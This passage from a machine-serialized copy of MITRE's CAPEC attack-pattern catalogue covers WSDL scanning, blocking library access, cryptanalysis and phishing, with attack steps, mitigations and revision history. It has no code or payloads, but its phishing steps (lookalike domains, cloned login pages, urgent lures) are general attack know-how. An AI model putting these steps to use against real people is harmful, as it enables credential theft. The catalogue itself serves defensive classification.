xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In 2017, security researcher Jerry Decime discovered that Equifax mobile applications were not leveraging HTTPS in all areas. Although authentication was properly utilizing HTTPS, in addition to validating the root of trust of the server certificate, other areas of the application were using HTTP to communicate. Adversaries could then conduct MITM attacks on rogue WiFi or cellular networks and hijack the UX. This further allowed the adversaries to prompt users for sensitive data, which could then be obtained in the plaintext response. [REF-636]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 300 + + + + + 290 + + + + + 593 + + + + + 287 + + + + + 294 + + + + + + + + + + + + #indTaxonomyMappingAdversaryInTheMiddle + Adversary-in-the-Middle + + + + + + + + + + + + + + 1557 + + + + + Adversary-in-the-Middle + + + + + + + + + + + + #indTaxonomyMappingManInTheMiddleAttack + Man-in-the-middle attack + + + + + + + + + + + + + + Man-in-the-middle attack + + + + + + + + + + + + #indReferenceReference46482 + Reference_46482 + + + + + + + + + REF-553 + + + + + + + + + + + + #indReferenceReference46483 + Reference_46483 + + + + + + + + + REF-633 + + + + + + + + + + + + #indReferenceReference46484 + Reference_46484 + + + + + + + + + REF-634 + + + + + + + + + + + + #indReferenceReference46485 + Reference_46485 + + + + + + + + + REF-635 + + + + + + + + + + + + #indReferenceReference46486 + Reference_46486 + + + + + + + + + REF-636 + + + + + + + + + + + + #indContentHistoryContentHistory46488 + Content_History_46488 + + + + + + + + + + + + + + + + #indSubmissionSubmission46489 + Submission_46489 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification46494 + Modification_46494 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Examples-Instances, Related_Vulnerabilities + + + + + + + + + + + + #indModificationModification46500 + Modification_46500 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification46506 + Modification_46506 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Example_Instances, Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification46512 + Modification_46512 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction, Description, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification46518 + Modification_46518 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Example_Instances, Execution_Flow, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification46524 + Modification_46524 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification46530 + Modification_46530 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated @Name, @Status, Alternate_Terms, Description, Example_Instances, Execution_Flow, Mitigations, References, Related_Attack_Patterns, Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification46536 + Modification_46536 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Execution_Flow, Extended_Description + + + + + + + + + + + + #indModificationModification46542 + Modification_46542 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName46548 + Previous_Entry_Name_46548 + + + + + + + + + 2021-06-24 + + + + + Man in the Middle Attack + + + + + + + + + + + + #CAPEC-95 + WSDL Scanning + + + + + + + + + 95 + + + + + WSDL Scanning + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack targets the WSDL interface made available by a web service. The attacker may scan the WSDL interface to reveal sensitive information about invocation patterns, underlying technology implementations and associated vulnerabilities. This type of probing is carried out to perform more serious attacks (e.g. parameter tampering, malicious content injection, command injection, etc.). WSDL files provide detailed information about the services ports and bindings available to consumers. For instance, the attacker can submit special characters or malicious content to the Web service and can cause a denial of service condition or illegal access to database records. In addition, the attacker may try to guess other private methods by using the information provided in the WSDL files.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern46556 + Related_Attack_Pattern_46556 + + + + + + + + + + + + + + 54 + + + + + + + + + + + + #indAttackStepAttackStep46559 + Attack_Step_46559 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Scan for WSDL Documents] The adversary scans for WSDL documents. The WDSL document written in XML is like a handbook on how to communicate with the web services provided by the target host. It provides an open view of the application (function details, purpose, functional break down, entry points, message types, etc.). This is very useful information for the adversary.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep46564 + Attack_Step_46564 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Analyze WSDL files] An adversary will analyze the WSDL files and try to find potential weaknesses by sending messages matching the pattern described in the WSDL file. The adversary could run through all of the operations with different message request patterns until a breach is identified.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep46569 + Attack_Step_46569 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft malicious content] Once an adversary finds a potential weakness, they can craft malicious content to be sent to the system. For instance the adversary may try to submit special characters and observe how the system reacts to an invalid request. The message sent by the adversary may not be XML validated and cause unexpected behavior.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A client program connecting to a web service can read the WSDL to determine what functions are available on the server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target host exposes vulnerable functions within its WSDL interface.</xhtml:div> + + + + + + + + + + + + #indSkillSkill46580 + Skill_46580 + + + + + + + + + + + + + + This attack can be as simple as reading WSDL and starting sending invalid request. + + + + + + + + + + + + #indSkillSkill46581 + Skill_46581 + + + + + + + + + + + + + + This attack can be used to perform more sophisticated attacks (SQL injection, etc.) + + + + + + + + + + + + #indConsequenceConsequence46584 + Consequence_46584 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">It is important to protect WSDL file or provide limited access to it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Review the functions exposed by the WSDL interface (especially if you have used a tool to generate it). Make sure that none of them is vulnerable to injection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure the WSDL does not expose functions and APIs that were not intended to be exposed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Pay attention to the function naming convention (within the WSDL interface). Easy to guess function name may be an entry point for attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Validate the received messages against the WSDL Schema. Incomplete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A WSDL interface may expose a function vulnerable to SQL Injection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The Web Services Description Language (WSDL) allows a web service to advertise its capabilities by describing operations and parameters needed to access the service. As discussed in step 5 of this series, WSDL is often generated automatically, using utilities such as Java2WSDL, which takes a class or interface and builds a WSDL file in which interface methods are exposed as web services.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Because WSDL generation often is automated, enterprising adversaries can use WSDL to gain insight into the both public and private services. For example, an organization converting legacy application functionality to a web services framework may inadvertently pass interfaces not intended for public consumption to a WSDL generation tool. The result will be SOAP interfaces that give access to private methods.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Another, more subtle WSDL attack occurs when an enterprising attacker uses naming conventions to guess the names of unpublished methods that may be available on the server. For example, a service that offers a stock quote and trading service may publish query methods such as requestStockQuote in its WSDL. However, similar unpublished methods may be available on the server but not listed in the WSDL, such as executeStockQuote. A persistent adversary with time and a library of words and phrases can cycle thru common naming conventions (get, set, update, modify, and so on) to discover unpublished application programming interfaces that open doors into private data and functionality.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Source : "Seven Steps to XML Mastery, Step 7: Ensure XML Security", Frank Coyle. See reference section.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 538 + + + + + + + + + + + + #indReferenceReference46609 + Reference_46609 + + + + + + + + + REF-554 + + + + + + + + + + + + #indReferenceReference46610 + Reference_46610 + + + + + + + + + REF-555 + + + + + Step 7: Ensure XML Security + + + + + + + + + + + + #indContentHistoryContentHistory46612 + Content_History_46612 + + + + + + + + + + + + + + + + #indSubmissionSubmission46613 + Submission_46613 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification46618 + Modification_46618 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification46624 + Modification_46624 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification46630 + Modification_46630 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-96 + Block Access to Libraries + + + + + + + + + 96 + + + + + Block Access to Libraries + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application typically makes calls to functions that are a part of libraries external to the application. These libraries may be part of the operating system or they may be third party libraries. It is possible that the application does not handle situations properly where access to these libraries has been blocked. Depending on the error handling within the application, blocked access to libraries may leave the system in an insecure state that could be leveraged by an attacker.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern46643 + Related_Attack_Pattern_46643 + + + + + + + + + + + + + + 603 + + + + + 512 + + + + + + + + + + + + #indAttackStepAttackStep46648 + Attack_Step_46648 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine what external libraries the application accesses.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep46653 + Attack_Step_46653 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Block access to the external libraries accessed by the application.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep46658 + Attack_Step_46658 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor the behavior of the system to see if it goes into an insecure/inconsistent state.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep46663 + Attack_Step_46663 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the system does go into an insecure/inconsistent state, leverage that to obtain information about the system functionality or data, elevate access control, etc. The rest of this attack will depend on the context and the desired goal.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application requires access to external libraries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker has the privileges to block application access to external libraries.</xhtml:div> + + + + + + + + + + + + #indSkillSkill46674 + Skill_46674 + + + + + + + + + + + + + + Knowledge of how to block access to libraries, as well as knowledge of how to leverage the resulting state of the application based on the failed call. + + + + + + + + + + + + #indConsequenceConsequence46677 + Consequence_46677 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence46681 + Consequence_46681 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence46685 + Consequence_46685 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that application handles situations where access to APIs in external libraries is not available securely. If the application cannot continue its execution safely it should fail in a consistent and secure fashion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A web-based system uses a third party cryptographic random number generation library that derives entropy from machine's hardware. This library is used in generation of user session ids used by the application. If the library is inaccessible, the application instead uses a software based weak pseudo random number generation library. An attacker of the system blocks access of the application to the third party cryptographic random number generation library (by renaming it). The application in turn uses the weak pseudo random number generation library to generate session ids that are predictable. An attacker then leverages this weakness to guess a session id of another user to perform a horizontal elevation of privilege escalation and gain access to another user's account.</xhtml:div> + + + + + 589 + + + + + + + + + + + + #indContentHistoryContentHistory46701 + Content_History_46701 + + + + + + + + + + + + + + + + #indSubmissionSubmission46702 + Submission_46702 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification46707 + Modification_46707 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification46713 + Modification_46713 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required + + + + + + + + + + + + #indModificationModification46719 + Modification_46719 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification46725 + Modification_46725 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-97 + Cryptanalysis + + + + + + + + + 97 + + + + + Cryptanalysis + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Cryptanalysis is a process of finding weaknesses in cryptographic algorithms and using these weaknesses to decipher the ciphertext without knowing the secret key (instance deduction). Sometimes the weakness is not in the cryptographic algorithm itself, but rather in how it is applied that makes cryptanalysis successful. An attacker may have other goals as well, such as: Total Break (finding the secret key), Global Deduction (finding a functionally equivalent algorithm for encryption and decryption that does not require knowledge of the secret key), Information Deduction (gaining some information about plaintexts or ciphertexts that was not previously known) and Distinguishing Algorithm (the attacker has the ability to distinguish the output of the encryption (ciphertext) from a random permutation of bits).</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern46738 + Related_Attack_Pattern_46738 + + + + + + + + + + + + + + 192 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern46739 + Related_Attack_Pattern_46739 + + + + + + + + + + + + + + 20 + + + + + + + + + + + + #indAttackStepAttackStep46742 + Attack_Step_46742 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker discovers a weakness in the cryptographic algorithm or a weakness in how it was applied to a particular chunk of plaintext.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep46747 + Attack_Step_46747 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker leverages the discovered weakness to decrypt, partially decrypt or infer some information about the contents of the encrypted message. All of that is done without knowing the secret key.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target software utilizes some sort of cryptographic algorithm.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An underlying weaknesses exists either in the cryptographic algorithm used or in the way that it was applied to a particular chunk of plaintext.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The encryption algorithm is known to the attacker.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker has access to the ciphertext.</xhtml:div> + + + + + + + + + + + + #indSkillSkill46760 + Skill_46760 + + + + + + + + + + + + + + Cryptanalysis generally requires a very significant level of understanding of mathematics and computation. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Computing resource requirements will vary based on the complexity of a given cryptanalysis technique. Access to the encryption/decryption routines of the algorithm is also required.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence46766 + Consequence_46766 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In most cases, if cryptanalysis is successful at all, an adversary will not be able to decrypt the entire message, but instead will only be able to deduce some information about the plaintext. However, that may be sufficient for an adversary, depending on the context of the attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use proven cryptographic algorithms with recommended key sizes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Ensure that the algorithms are used properly. That means:&lt;/xhtml:p&gt; + &lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;1. Not rolling out your own crypto; Use proven algorithms and implementations.&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;2. Choosing initialization vectors with sufficiently random numbers&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;3. Generating key material using good sources of randomness and avoiding known weak keys&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;4. Using proven protocols and their implementations.&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;5. Picking the most appropriate cryptographic algorithm for your usage context and data&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A very easy to understand example is a cryptanalysis technique called frequency analysis that can be successfully applied to the very basic classic encryption algorithms that performed mono-alphabetic substitution replacing each letter in the plaintext with its predetermined mapping letter from the same alphabet. This was considered an improvement over a more basic technique that would simply shift all of the letters of the plaintext by some constant number of positions and replace the original letters with the new letter with the resultant alphabet position. While mono-alphabetic substitution ciphers are resilient to blind brute force, they can be broken easily with nothing more than a pen and paper. Frequency analysis uses the fact that natural language is not random and mono-alphabetic substitution does not hide the statistical properties of the natural language. So if the letter "E" in an English language occurs with a certain known frequency (about 12.7%), whatever "E" was substituted with to get to the ciphertext, will occur with the similar frequency. Having this frequency information allows the cryptanalyst to quickly determine the substitutions and decipher the ciphertext. Frequency analysis techniques are not applicable to modern ciphers as they are all resilient to it (unless this is a very bad case of a homegrown encryption algorithm). This example is inapplicable to modern cryptographic ciphers but is here to illustrate a rudimentary example of cryptanalysis.</xhtml:div> + + + + + 327 + + + + + 1204 + + + + + 1240 + + + + + 1241 + + + + + 1279 + + + + + + + + + + + + #indTaxonomyMappingCryptanalysis + Cryptanalysis + + + + + + + + + + + + + + Cryptanalysis + + + + + + + + + + + + #indReferenceReference46801 + Reference_46801 + + + + + + + + + REF-556 + + + + + Cryptanalysis + + + + + + + + + + + + #indContentHistoryContentHistory46803 + Content_History_46803 + + + + + + + + + + + + + + + + #indSubmissionSubmission46804 + Submission_46804 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification46809 + Modification_46809 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification46815 + Modification_46815 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Description, Description Summary, Examples-Instances, Related_Weaknesses + + + + + + + + + + + + #indModificationModification46821 + Modification_46821 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification46827 + Modification_46827 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification46833 + Modification_46833 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification46839 + Modification_46839 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Mitigations + + + + + + + + + + + + #CAPEC-98 + Phishing + + + + + + + + + 98 + + + + + Phishing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Phishing is a social engineering technique where an attacker masquerades as a legitimate entity with which the victim might do business in order to prompt the user to reveal some confidential information (very frequently authentication credentials) that can later be used by an attacker. Phishing is essentially a form of information gathering or "fishing" for information.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern46852 + Related_Attack_Pattern_46852 + + + + + + + + + + + + + + 151 + + + + + 515 + + + + + 512 + + + + + 513 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern46857 + Related_Attack_Pattern_46857 + + + + + + + + + + + + + + 89 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern46858 + Related_Attack_Pattern_46858 + + + + + + + + + + + + + + 543 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern46859 + Related_Attack_Pattern_46859 + + + + + + + + + + + + + + 611 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern46860 + Related_Attack_Pattern_46860 + + + + + + + + + + + + + + 630 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern46861 + Related_Attack_Pattern_46861 + + + + + + + + + + + + + + 631 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern46862 + Related_Attack_Pattern_46862 + + + + + + + + + + + + + + 632 + + + + + + + + + + + + #indAttackStepAttackStep46865 + Attack_Step_46865 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Obtain domain name and certificate to spoof legitimate site] This optional step can be used to help the attacker impersonate the legitimate site more convincingly. The attacker can use homograph attacks to convince users that they are using the legitimate website. Note that this step is not required for phishing attacks, and many phishing attacks simply supply URLs containing an IP address and no SSL certificate.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Optionally obtain a domain name that visually looks similar to the legitimate site's domain name. An example is www.paypaI.com vs. www.paypal.com (the first one contains a capital i, instead of a lower case L)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Optionally obtain a legitimate SSL certificate for the new domain name.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep46872 + Attack_Step_46872 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Explore legitimate website and create duplicate] An attacker creates a website (optionally at a URL that looks similar to the original URL) that closely resembles the website that they are trying to impersonate. That website will typically have a login form for the victim to put in their authentication credentials. There can be different variations on a theme here.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use spidering software to get copy of web pages on legitimate site.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually save copies of required web pages from legitimate site.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create new web pages that have the legitimate site's look and feel, but contain completely new content.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep46880 + Attack_Step_46880 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Convince user to enter sensitive information on attacker's site.] An attacker sends an e-mail to the victim that has some sort of a call to action to get the user to click on the link included in the e-mail (which takes the victim to attacker's website) and log in. The key is to get the victim to believe that the e-mail is coming from a legitimate entity with which the victim does business and that the website pointed to by the URL in the e-mail is the legitimate website. A call to action will usually need to sound legitimate and urgent enough to prompt action from the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send the user a message from a spoofed legitimate-looking e-mail address that asks the user to click on the included link.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Place phishing link in post to online forum.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep46887 + Attack_Step_46887 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Use stolen credentials to log into legitimate site] Once the attacker captures some sensitive information through phishing (login credentials, credit card information, etc.) the attacker can leverage this information. For instance, the attacker can use the victim's login credentials to log into their bank account and transfer money to an account of their choice.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Log in to the legitimate site using another user's supplied credentials</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker needs to have a way to initiate contact with the victim. Typically that will happen through e-mail.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker needs to correctly guess the entity with which the victim does business and impersonate it. Most of the time phishers just use the most popular banks/services and send out their "hooks" to many potential victims.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker needs to have a sufficiently compelling call to action to prompt the user to take action.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The replicated website needs to look extremely similar to the original website and the URL used to get to that website needs to look like the real URL of the said business entity.</xhtml:div> + + + + + + + + + + + + #indSkillSkill46901 + Skill_46901 + + + + + + + + + + + + + + Basic knowledge about websites: obtaining them, designing and implementing them, etc. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Some web development tools to put up a fake website.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">You receive an e-mail from an entity that you are not even a customer of prompting you to log into your account.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">You receive any e-mail that provides you with a link which takes you to a website on which you need to enter your log in information.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence46911 + Consequence_46911 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence46917 + Consequence_46917 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence46921 + Consequence_46921 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not follow any links that you receive within your e-mails and certainly do not input any login credentials on the page that they take you too. Instead, call your Bank, PayPal, eBay, etc., and inquire about the problem. A safe practice would also be to type the URL of your bank in the browser directly and only then log in. Also, never reply to any e-mails that ask you to provide sensitive information of any kind.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target gets an official looking e-mail from their bank stating that their account has been temporarily locked due to suspected unauthorized activity and that they need to click on the link included in the e-mail to log in to their bank account in order to unlock it. The link in the e-mail looks very similar to that of their bank and once the link is clicked, the log in page is the exact replica. The target supplies their login credentials after which they are notified that their account has now been unlocked and that everything is fine. An attacker has just collected the target's online banking information which can now be used by the attacker to log into the target's bank account and transfer money to a bank account of the attackers' choice.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may use BlueJacking, or Bluetooth Phishing to send unsolicited contact cards, messages, or pictures to nearby devices that are listening via Bluetooth. These messages may contain phishing content.</xhtml:div> + + + + + 451 + + + + + + + + + + + + #indTaxonomyMappingPhishing + Phishing + + + + + + + + + + + + + + 1566 + + + + + Phishing + + + + + + + + + + + + #indTaxonomyMappingPhishingForInformation + Phishing for Information + + + + + + + + + + + + + + 1598 + + + + + Phishing for Information + + + + + + + + + + + + #indReferenceReference46947 + Reference_46947 + + + + + + + + + REF-656 + + + + + + + + + + + + #indContentHistoryContentHistory46949 + Content_History_46949 + + + + + + + + + + + + + + + + #indSubmissionSubmission46950 + Submission_46950 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification46955 + Modification_46955 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attacker_Skills_or_Knowledge_Required + + + + + + + + + + + + #indModificationModification46961 + Modification_46961 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification46967 + Modification_46967 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, 